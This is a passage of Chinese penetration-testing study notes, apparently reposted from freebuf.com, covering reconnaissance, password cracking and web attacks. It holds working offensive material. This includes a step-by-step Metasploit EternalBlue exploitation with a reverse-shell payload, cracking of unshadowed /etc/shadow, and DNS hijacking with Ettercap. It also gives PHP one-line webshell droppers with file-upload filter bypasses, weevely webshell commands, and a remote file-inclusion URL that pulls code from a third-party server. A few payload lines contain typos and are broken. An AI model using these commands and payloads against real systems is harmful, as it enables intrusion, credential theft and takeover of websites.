一. nmap
简单扫描 namp ip
namp -sS -sV -T4 ip
-sS 使用TCP SYN扫描 -sV 版本探测 -T4快速扫描
namp -A -T4 ip -A使用全面扫描
namp ip/subnetmasknumber 扫描网段
nmap –top-ports 100 ip 扫描100个最可能目标开放的端口
namp –script=vuln ip 扫描目标的漏洞和端口信息
二. hydra
用于协议爆破 可结合nmap扫描的端口服务进行爆破
三. 字典生成
工具:crunch
min 最小字符串长度
max 最大~~~~
-o 将字典保存为指定文件
-t 指定字典的输出格式
-p 指定元素jihe
特殊字符 %表示数字 ^为特殊符号 @小写字母
crunch 2 4 > 1.txt 表示最小2位最大4位输出到1.txt
crunch 7 7 -t admin%% > 2.txt 表示7位以admin开头后面两位是数字并输出2.txt
crunch 6 6 -f /usr/share/crunch/charset.kst hex-lowwer -o 3.txt
表示指定库文件中的hex-lowwwer为模板生成字典
crunch 6 6 1234567890 -o 4.txt 指定只生成数字字典
crunch 3 3 -p zqd 1990 29 > 5.txt 指定以zpq 1990 29三个字符串组合生成字典
四. 内网DNS劫持
Ettercap 中间人攻击
准备欺骗页面,放在/var/www/html/目录下并启动apache服务
systemctl start apache2
配置ettercap的配置文件(具体详细查询)
注意DNS劫持的基本原理
五. 哈希破解
john 破解工具
linux /etc/passwd(账户文件) /etc/shadow(账户密码文件)
linux一般采用加密方式是sha512的加密算法
组合密码和账户文件unshadow /etc/passwd /etc/shadow > test.txt
之后john test.txt进行解码破解
六. Metaspolit
MS17-010漏洞 该漏洞可以直接获取目标system权限 SO~~~
七. Dirbuster
搜索枚举目标i网站的文件目录
八. 信息收集
1.需要收集的信息
(1)目标域名的相关信息:域名注册人,联系人,联系方式,邮箱,域名历史记录,旁站,子域名,C段
(2)目标i服务器相关信息:操作系统,中间件,数据库,静态资源,端口,服务等
(3)目标的CMS系统,框架,CMS类:如phpcms,dedecms,Eyoucms等 框架类:Thinkhp strus2等
(4) 目标网站后台,敏感目录和文件,如git源码 upload上传目录等
九. HACKing 语法
Modheader 用于自定义请求头
#### 语法:
(1) 批量寻找网站后台
inurl:login 寻找后台登陆点
intext:登陆后台
intitle:后台管理/网站管理系统
(2)指定网站寻找后台
site:url inurl:login
(3)指定返回的文件类型
filetype:pef /xls site:url
(4)批量寻找网站目录遍历漏洞
intext:index of
(5)p批量phpmyadmin入口
inurl:phpmyadmin.index.php
(6) 批量寻找可能存在注入漏洞的网站
inurl:.php?id=
(7)批量寻找敏感文件
site:url inurl:phpinfo.php
十. FOFA资产收集和FOFA API调用
搜索语法:
domain=”qq.com” 可用于搜索子域名 根域名为qq
port:”8080″
city:’beijing’
&&是结合符号
app=”phpmyadmin”那些设备开启phpmyadmin
server==“Microsoft-IIIS/7.5”搜索IIS7.5的服务器
API调用:
登录 个人中心 有API key
fofa.py脚本
十一. 域名相关信息的收集
1. 注册人反查
2,电话反查
3. 子域名反查
4,c段和旁站
- 旁站:从同台服务器的其他网站入手,提权。。。
- C段:每个IP有四个段,如192.168.133.129 A.B.C.D即拿下同一个C段其中一台服务器,也就是D段1-255中的一台服务器
- webscan.cc可以用来搜索c段和旁站信息
十二. 敏感文件扫描
找到网站的敏感文件,使用代码审计工具寻找漏洞 Dirsearch脚本
python3 dirsearch.py -u ip -e * 进行扫描
扫描到.git的时候就可以使用Githack拖取网页源码
python GIthack.py 网址/.git/ (python2环境)
之后将会下载脚本在脚本目录 以目标IP为文件夹名称
查找网站后台方法:
https://cloud.tencent.com/developer/article/1480555
十三. JS文件信息收集
使用jsfinder
python3 JSFinder.py -u url 可以找到一些js连接
深度爬取:python3 JSFinder.py -u url -d -ou xx_url.txt -os xx_domain.txt
-d指定深度爬取,-ou指定URL并保存他的文件名,-os指定子域名的保存的文件名
十四. CDN绕过寻找真实IP
CDN:内容分发网络,解决传输距离和不同运营商节点造成的网络速度性能低下的问题。一般网站的id我们接收到的可能只是CDN缓存服务器的地址45555555555555555555555555555555
绕过方法: 直接ping域名 返回ip会有cdn标识
对比和 17ce.com的网站的显示的是否一样
(1)扫描子域名寻找真实IP
(2)国外网站多地ping asm.ca.com
(3)查询历史解析记录 netcraft.com x.threatbook.cn
(4)phpinfo 信息泄露
十五. 工具形站点
云悉 微步 bugscanner
十六. 网站漏洞扫描
AWVS(Acunetix)的使用
弱口令超级工具的使用
十七. Burpsuite
1.重放模块
repeater模块就是重放模块,拦截一个请求之后,点击右键可以将请求发送到repeater模块,在该模块中我们可以修改发送过去的请求,然后多次测试返回的响应,点击go之后就可以将请求发送过去
2.爆破模块
introduer模块,拦截一个请求例如要破解密码,可以将请求发送到introduer模块,该模块下的positions可以看到请求信息,在这里可以$变量$选中要破解的参数,之后在Payloads中payloads set中可以设置类型 options中可以设置字典(自带且可以上传自己的字典),如果网站密码做了MD5加密可以在payloads processing中设置将破解的时候对字典中的密码做MD5加密。options中主要是一个爆破线程数量的设置。爆破完成后根据响应的长度和状态码做判断。
十八. SQL
SQL server端口号码是1433,oracle 默认端口是1521
-
information_schema数据库利用:该库中包括了所有的数据库的具体信息。
-
SCHEMATA 表提供了mysql实例中所有的数据库信息,showdatabases的结果就是取自该表
-
TABLES表提供了关于数据库中表的信息
-
COLUMNS提供了表中的列信息,详细表述了某张表的所有列以及每个列的信息
2.语句
-
(1)通过information_schema数据库查找库名
select schema_name from information_schema.schemata
(2)通过“`查找表名
select table_name from information_Schema.tables where table_schema = ‘数据库名’
(3)查找表中字段
select column_name from information_schema.columns where table_schema=’数据库名’ and table_name=’表名’
3.mysql注入中的常用函数
(1)系统函数:selsect current_user() [session_user()] [@@basedir] [@@datadir] [@@version_compile_os];
[当前用户名] [连接数据库的用户名] [mysql安装路劲] [数据库路径] [操作系统版本] (2)字符串连接函数:concat,concat_ws,group_concat
select concat(id,’|’,username,’|’,password) from users;
select concat_ws(‘|’,id,username,password) from users;
select group_concat(‘\n’,username) from users;
(3)字符串截取函数 substr,mid,left,right,locate
(4) 常用的注释方法: # –+(其实是–空格,写+是浏览器会将+识别为空格) /*/ /!50000*/
十九. WEBshell
中国菜刀 webacoo :https://blog.csdn.net/qq_36711453/article/details/83933740
Weevely 若缺少库文件 https://pypi.python.org/pypi/pysocks/./setup.py install
生成服务端 weevely generate <passwd>b.php
生成的脚本在/usr/share/weevely/b.php
客户端连接服务器 weevely http://xxxx/b.php<passwd>id
具体自查
二十. Metaspolit
永恒之蓝 ms17-010
我们先扫描目标是否存在 ms17-010 漏洞
msf5 > search ms17-010
使用 use 命令选中模块
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) > show options
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.56
msf5 auxiliary(scanner/smb/smb_ms17_010) > run
msf5 > search ms17-010
使用 use 命令加载模块
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options
设置目标主机 IP
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.1.56
查看exploit target目标类型:
msf5 exploit(windows/smb/ms17_010_eternalblue) > show targets
msf5 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell
注:payload 又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回 shell,也可以
我们挑选一个反弹 shell 的 payloads
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload
查看一下 payloads 需要配置什么信息
msf5 exploit(windows/smb/ms17_010_eternalblue) > show options #查看加载到的
payload 信息
设置一下本机 payload 监听地址
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.53
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
………………………………………………………………详细步骤在目录下ppt中
二十一. sqlmap的使用
sqlmap.py -u “url” 注意url是要包含具体的路径
例如sqlmap.py -u “http://127.0.0.1/sqli/Less-8/?id=1“
sqlmap.py -u “url” –dump-all 将数据库数据保存到本地
sqlmap.py -u “url” –current-user 当前数据库用户
详细命令自查
注意学习文件注入的问题
二十二. 文件上传
一 .前端验证
直接在开发工具将判断文件类型的js函数删除
二. 抓包工具修改MIME类型为允许文件类型
抓包后直接将请求当中文件的MIME类型改为image/jpg
三. 00截断
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束,达到后缀绕过
如在1.php文件名改为1.php%00.jpg会被解析为1.php,这样就能绕过后缀限制,上传shell
注意php版本要小于5.3.4,5.3.4及以上已经修复该问题(asp版本不清楚 ) magic_quotes_gpc需要为OFF状态,并且知道文件的具体上传位置
https://blog.csdn.net/weixin_45027323/article/details/101876590
四. 黑名单过滤不全
1.例如将原本的php后缀改为php3
2.上传.htacess文件绕过
创建一个.heaccess的文件里面写上SetHandler application/x-httpd-php
将该文件上传之后,可以将php文件的后缀改为jpg上传。此时后端自动将jpg解析为php文件
3.黑名单大小写过滤不全甚至是后缀加空格也可绕过
4.也可以在后缀后面加. 例如tetst.php. windows也可解析文件
5.::$DATA后缀名绕过 例如test.php::$DATA 此时该文件会被认为是目录文件 这是windowsNTFS文件格式的漏洞
6.(.空.)例如test.php.[此处是一个空格].
7.后缀双写绕过 例如test.pphphp 也是可以解析
五. 条件竞争绕过
竞争条件是指服务端先允许用户上传文件,上传之后再去检查文件,若文件存在恶意病毒才会执行删除操作。此时可以利用时间差完成攻击
<?php fputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[cmd])?>’);?>
抓取请求,将请求发送到intruder模块,设定payloads为NUll payloads, payloads options 为continue indefinitely循环上传文件 一直上传 一直上传 。。。。
同时浏览器发送一个访问上传文件的请求 抓包 同时也是一直访问 一直访问 只到某一时刻会成功访问到
该方法的原理就是使用了系统监测到恶意代码的时候删除该文件时的时间差。
https://blog.csdn.net/wsnbbz/article/details/104651408
六. 图片木马
准备一张jpg图片 一句话木马
打开命令行 copy xxx.jpg/b+xxx.php/a outfile.jpg
生成outfile.jpg 图片木马文件
使用其需要两个条件:配合文件包含漏洞 (例如有没有include.php?file=xxxx.jpg) 配合解析漏洞的利用
之后直接使用url+include.php?file=xxxx.jpg的形式连接webshell
七. 图片二次渲染绕过
八. 常见的解析漏洞
1.IIS5.X/6.0解析漏洞:
网站目录下建立的.asp/.asa的文件夹,其目录内任何拓展名的文件都被IIS当作asp文件来解析执行
收集中间件
IIS6.0的文件解析:在分号后面的不被解析 例如shell.asp;.jpg会被认为是shell.asp 还有/shell.asa/shell.cer/shell.cdx可以上传
2.IIS 7.0/IIS 7.5/Ngnix<8.03的畸形解析漏洞
利用:在Fast-CGI开启的情况下,上传一个shell.jpg文件,内容是<?php fputs(fopen(‘shell.php’,’w’),'<?pjp ecal($_POST[cmd])?>’);?>
然后访问shell.jpg/.php就会生成一句话木马shell.php
3.Ngnix空字节漏洞: Ngnix:0.5,0.6,0.7<=0.7.65,0.8<=0.837
Ngnix在图片中其嵌入PHP代码访问xxx.jpg%00/php可执行其中的代码
二十三. 文件包含漏洞
1.本地文件包含漏洞
代码:
<?php
•$file=$_GET['file'];
•include $file;
•?>
将该代码文件上传到网站目录就可以访问系统的一些文件
例如:http://192.168.1.1/upload/include.php?file=/etc/passwd主要问题是有些问文件时没有访问权限
2.远程文件包含漏洞RFI
该漏洞的利用条件较为苛刻需要在php.ini中进行配置
目标需要打开allow_url_fopen = On 激活url形式的fopen封装协议使得可以访问URl对象文件
allow_url_include = On
例如http://192.168.1.1/include.php?file=http://10.23.123.12/xx.php
其中http://10.23.123.12/xx.php是第三方服务器文件
3.php伪协议类型
https://blog.csdn.net/nzjdsds/article/details/82461043
4.session文件包含getshell
注:php中引发文件包含的函数通产是include() , include_once() , require(), require_once()
二十四. XSS漏洞
XSS可能存在的位置:表单等
反射型 存储型 DOM
XSS窃取用户cookie的实例
https://www.cnblogs.com/dogecheng/p/11556221.html
来源:freebuf.com 2020-08-01 20:18:26 by: wiwei176
请登录后发表评论
注册